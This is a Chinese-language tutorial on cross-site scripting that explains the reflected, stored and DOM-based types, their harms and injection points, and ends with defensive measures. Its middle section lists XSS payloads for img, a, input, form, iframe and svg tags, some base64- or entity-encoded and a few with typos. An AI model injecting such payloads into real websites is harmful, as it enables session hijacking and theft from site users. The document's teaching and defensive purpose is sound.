第25天:WEB漏洞-XSS跨站之原理分类及攻击手法

img

XSS跨站产生原理,危害,特点

本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本

XSS是什么?

XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。跨站点脚本(XSS)攻击是一种注射型攻击,攻击者在可信的网页中嵌入恶意代码,用户访问可信网页时触发XSS而被攻击。

XSS会造成那些危害?

攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码,将很容易的导致XSS。
• 网络钓鱼,包括获取各类用户账号;
• 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
• 劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等;
• 强制弹出广告页面、刷流量等;
• 网页挂马;
• 进行恶意操作,如任意篡改页面信息、删除文章等;
• 进行大量的客户端攻击,如ddos等;
• 获取客户端信息,如用户的浏览历史、真实ip、开放端口等;
• 控制受害者机器向其他网站发起攻击;
• 结合其他漏洞,如csrf,实施进一步危害;
• 提升用户权限,包括进一步渗透网站;
• 传播跨站脚本蠕虫等

XSS是如何产生的

通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。

XSS常见出现漏洞的地方

数据交互的地方
        § get、post、cookies、headers
        § 反馈与浏览
        § 富文本编辑器
        § 各类标签插入和自定义
数据输出的地方
        § 用户资料
        § 关键词、标签、说明
        § 文件上传

XSS跨站漏洞分类:反射,存储,DOM

从产生层面,具体区别,危害等级讲解

XSS的分类

反射性XSS
存储型XSS
DOM型XSS

反射性XSS

又称非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。
常见注入点
网站的搜索栏、用户登录入口、输入表单等地方,常用来窃取客户端cookies或钓鱼欺骗。
邮件等形式包含xss代码,用户点击时,服务器处理,触发XSS
攻击方式
攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该目标用户的请求并进行处理,然后服务器把带有XSS的代码发送给目标用户的浏览器,      
浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

存储型XSS

又称持久型XSS,比反射型XSS更具有威胁性,并且可能影响到Web服务器自身的安全。攻击脚本将被永久的存放在目标服务器的数据库或文件中。
常见注入点
论坛、博客、留言板、网站的留言、评论、日志等交互处。
攻击方式
攻击者在发帖或留言的过程中,将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了 
恶意脚本的帖子时,恶意脚本就会在用户的浏览器中得到执行。

DOM型XSS

DOM(Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象的一种漏洞。DOM型XSS是基于js上的。不需要与服务器进行交互。
注入点
通过js脚本对对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以DOM动态修改页面的内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所 
    以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
攻击方式
用户请求一个经过专门设计的URL,它由攻击者提供,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存 
在XSS漏洞。
HTML标签:select介绍
select元素可创建单选或者多选菜单  <option>标签用于定义列表的可用选项
<option value ="voluo">volvo</opyion>提交voluo的 ,下拉列表,选择选项
    表单用于搜集不同类型的用户输入 登录功能通过表单实现
        在form表单值中提交标签,达到xss效果。
隐藏域用来收集或者发送信息的不可见元素,对于网页的访问者来说,隐藏域是不可见的。表单被提交时,隐藏域就会将信息用你设置时的名称和值发送到服务器上
input type hidden 隐藏值 svg:可缩放矢量图形(scalable vector graphics)
svg使用XML格式定义图像 可通过以下标签嵌入HTML文档 <embed><object><iframe>
    表单属性:
    value,redonly,disable,size,maxlength    python计算payload长度
    闭合某提交参数数值的标签,使其产生XSS弹框。
javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript后的URL中。这个特殊的协议类型申明了URL主体是任意的javascript代码,它由javascript的解释器运行。且用分号分 
割   ;
a标签,超链接,从一个页面跳转至另一个页面,最重要的是herf属性,指定连接的目标。
利用:
GET型:在URL中提交的参数在页面中显示,极有可能存在XSS,反射型。
POST型:表单中提交的参数,在页面中显示,存在XSS
JSON中,轻量级数据交换格式
自定义HTTP头,存在XSS,贴吧留言处形成反射型XSS
实例化不存在XSS,黑民单过滤,依次尝试,进而达成存储型XSS

常见标签

<img>标签
利用方式1
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img src="URL" style='Xss:expression(alert(/xss));'
<!--CSS标记xss-->
  <img STYLE="background-image:url(javascript:alert('XSS'))">
XSS利用方式2
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
XSS利用方式3
<img src=1 onmouseover=alert('xss')>
<a>标签
标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
  <a href=javascript:eval(alert('xss'))>aa</a>
  <a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
  <a href="" onclick=alert('xss')>aa</a>
利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
input标签
标准格式
<input name="name" value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>
<form>标签
XSS利用方式1
<form action=javascript:alert('xss') method="get">
  <form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
  <form method=post action=aa.asp? onmouseover=alert('xss')>
  <form action=1 onmouseover=alert('xss)>
XSS利用方式3
<!--原code-->
  <form method=post action="data:text/html;base64,<script>alert('xss')</script>">
  <!--base64编码-->
  <form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>标签
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<!--原code-->
  <iframe src="data:text/html;base64,<script>alert('xss')</script>">
  <!--base64编码-->
  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
svg<>标签
<svg onload=alert(1)>

XSS的防御

  使用XSS Filter
  输入过滤
  a. 输入验证对用户提交的数据进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此以外的其他任何数据。
  常见的检测或过滤:
    ○ 输入是否仅仅包含合法的字符
    ○ 输入字符串是否超过最大长度的限制
    ○ 输入如果为数字,数字是否在指定的范围内
    ○ 输入是否符合特定的格式要求,如邮箱、电话号码、ip地址等
      数据消毒
  除了在客户端验证数据的合法性,输入过滤中最重要的还是过滤和净化有害的输入,例如如下常见的敏感字符:
  || < > ' " & # javascript expression
  输出编码
  对输出的数据进行编码,如HTML编码,就是让可能造成危害的信息变成无害。
  白名单和黑名单
  定制过滤策略
  web安全编码规范
  防御DOM-Based XSS
  两点注意点:
        i. 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务端使用动态页面来实现。
        ii. 分析和强化客户端Javascript代码,尤其是一些受到影响的Dom对象
  其他防御方式
Anti_XSS
微软开发的,.Net平台下的,用于方式XSS攻击的类库,它提供了大量的编码函数来对用户输入的数据进行编码,可以实现基于白名单的输入的过滤和输出编码。
HttpOnly Cookie
当Cookie在消息头中被设置为HttpOnly时,这样支持Cookie的浏览器将阻止客户端Javascript直接访问浏览器中的cookies,从而达到保护敏感数据的作用。
Noscript
Noscript是一款免费的开源插件,该插件默认禁止所有脚本,但可以自定义设置允许通过的脚本。
WAF
使用WAF,比如软WAF,硬WAF、云WAF等。
最后修改:2021 年 07 月 08 日 01 : 30 PM
如果觉得我的文章对你有用,请随意赞赏